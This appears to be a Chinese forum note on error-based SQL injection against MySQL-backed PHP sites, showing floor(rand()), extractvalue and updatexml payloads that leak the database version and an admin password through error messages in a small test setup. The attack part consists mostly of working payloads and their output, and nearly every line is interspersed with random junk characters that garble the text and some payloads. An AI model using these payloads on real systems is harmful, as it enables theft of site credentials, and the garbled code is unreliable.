放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。( u. g; E1 S6 q# e5 V1 U1 B; E
实际测试环境:
4 O' L: l/ D) ^2 S0 U4 e6 @: v0 {8 G4 W* b( l
' K3 `* Q3 ?% B3 u; |
mysql> show tables;
! W* z1 G3 _- v+ M* n7 [" D, ?6 u+----------------+
# q; R( o( {) Z: Q| Tables_in_test |& R1 I" A# Q3 V1 ^- n5 p
+----------------+
4 J, z# P0 N+ {. o* Q| admin |8 \ y0 n" i' {$ e& H
| article |
6 @7 w! d8 I% S; k+----------------+" D8 R& x l3 ` B
: S) P. a x+ u3 ?; t; h
- \! ?, D' N+ P& Y7 z ) [2 I" a" X3 v m# @$ y: o
mysql> describe admin;5 e/ _' s8 k; ?2 ]; k
+-------+------------------+------+-----+---------+----------------+
7 C+ ^. ^- o; T2 O- t; x" W| Field | Type | Null | Key | Default | Extra |. ~! P5 k$ Z0 h5 |3 z4 @" w9 I
+-------+------------------+------+-----+---------+----------------+* I& D" M$ ]9 M2 q$ a
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
) T8 g/ `/ I& w) ~7 H+ o| user | varchar(50) | NO | | NULL | |
( p8 u+ u9 [+ R9 }| pass | varchar(50) | NO | | NULL | |# s4 v7 M2 r% D2 p
+-------+------------------+------+-----+---------+----------------+
0 V# L, ?: a% G2 X ! j. x0 Y9 @4 z* E- l7 s
* y# h. j K0 m6 X
$ ]* d: f T! e8 Hmysql> describe article;! J5 K" B: s7 w+ x8 C# b
+---------+------------------+------+-----+---------+----------------+
/ Z7 y) l) G) Y% q| Field | Type | Null | Key | Default | Extra |! ?# L9 c, v; `+ u
+---------+------------------+------+-----+---------+----------------+
+ a* w# e" m8 k) z| id | int(10) unsigned | NO | PRI | NULL | auto_increment | }- g$ h/ G) D5 W5 d
| title | varchar(50) | NO | | NULL | |
% h0 K( [( z0 b; }8 b/ r| content | varchar(50) | NO | | NULL | | ]' t f3 ]5 l/ `( I1 _& `
+---------+------------------+------+-----+---------+----------------+
- C2 v9 S {5 u+ B) l- r9 _1、通过floor报错' h' s! m* T, U) ~/ q
可以通过如下一些利用代码
5 L0 D% k" K& v5 e& B
: h3 b3 U4 d* Z0 g 7 v0 f+ e; L# [1 @- X8 e5 I
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
! X. ~6 v. N7 { S7 U/ V; w9 {from information_schema.tables group by x)a);1 _ R! ~# O. D6 |' O! X) ~
. P# {( Z+ F2 T0 d
1 m, k" M# E( N2 O- d, uand (select count(*) from (select 1 union select null union select !1)x [5 e9 t( g; q2 i$ ]! U
group by concat((select table_name from information_schema.tables limit 1),% n$ U% Q' c5 L0 s+ {, p/ C
floor(rand(0)*2)));
) E$ X& K3 a e+ u举例如下:9 K8 ]6 \5 U" ~+ ~' k( t
首先进行正常查询:* \1 `( A% l% O' F5 \/ p
8 |( I( g" T8 {mysql> select * from article where id = 1;
7 T& c- y, A! i d- B+----+-------+---------+ F( G0 a7 V& G9 C
| id | title | content |
P! e7 E9 N- M9 U1 `* q+----+-------+---------+. ?0 G: ]2 ~# C
| 1 | test | do it |
8 v B' F! A* R g, R7 A+ k; W+----+-------+---------+% \, |" V% ^; ~2 J
假如id输入存在注入的话,可以通过如下语句进行报错。
+ d% |' G: K$ T+ W2 U# O
& X6 z( |8 _- n4 \7 Q, V5 g& n$ ?4 F
, X) E: C9 k i C9 hmysql> select * from article where id = 1 and (select 1 from, x6 i6 L. l+ Y! |
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);- y- K' y% m* N( y" N( A
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key', i5 D k2 u, I7 a1 _
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。7 k% N- I; W: Q6 [
例如我们需要查询管理员用户名和密码:
% b" q6 `9 b. G8 |$ d% I- f6 S% VMethod1:
! P1 J/ J) E. Z+ g$ r5 H / ~/ C+ w. _# h, d) \5 Y
; z5 J5 b3 O: {/ |+ K- ~& Smysql> select * from article where id = 1 and (select 1 from
1 d4 z, e: r( L) Y% R(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
- B X. c1 k f/ _! sfrom information_schema.tables group by x)a);
4 e2 e! k5 {9 F% MERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
& X! y o5 Q9 t- B1 p: {8 @Method2:0 U5 G# @: Q) m2 M4 R# ^, G
4 E5 Z ?6 [, I$ @" u- G# l ! e! O; W( o( K [' v, ~0 m" H
mysql> select * from article where id = 1 and (select count(*)) t s! W6 q6 s+ O" J! s
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),# `8 @ y, v3 D- C. v, N/ ]- z
floor(rand(0)*2)));
, [2 @3 Z. [% @7 ^+ MERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
+ w- }/ k7 H, v5 s" n/ t# I) Z2、ExtractValue, I% t0 `' f0 [" F/ c& J
测试语句如下
% l- i9 V* o# n4 @ 0 d9 k8 G! ^6 s+ n2 A
4 w/ d8 f6 v& n3 ?& b
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
. y" u" h& I9 J& @& m5 c实际测试过程
+ t0 |8 `3 k& ?/ ~: J9 g ) M! ?& m% ~; p* C# U6 N. K
' c3 z4 m ?& U" J. M. G0 T0 v6 omysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
8 Z& B, k; \1 V0 L1 @(select pass from admin limit 1)));--
: e) R4 [! \. q! i8 c6 ?ERROR 1105 (HY000): XPATH syntax error: '\admin888'
8 z! M% I6 ], j8 Q3、UpdateXml2 q+ Z9 N1 C6 j; K. p
测试语句, s: J; H- w F9 E# F4 I# [
" {$ D" J c( f$ h* {/ g0 d / ?7 u$ O8 G3 U1 ]9 b
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))* n$ j8 f' C$ c1 w' `( ?* [
实际测试过程" s5 g, t$ I/ N3 K
+ V2 [; J$ ^8 O5 ?- S 0 q5 {8 o- T$ t2 P- d$ C0 j; {7 l0 m
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,+ }. V7 @% `8 y! F
(select pass from admin limit 1),0x5e24),1));
" T- }1 {$ T1 l1 n+ G" WERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
8 m0 o' f( l# GAll, thanks foreign guys.+ X9 V( s! s8 G8 J* q
5 j( I* M& n, f8 {) ?
7 |# ]+ i! H6 K: g
|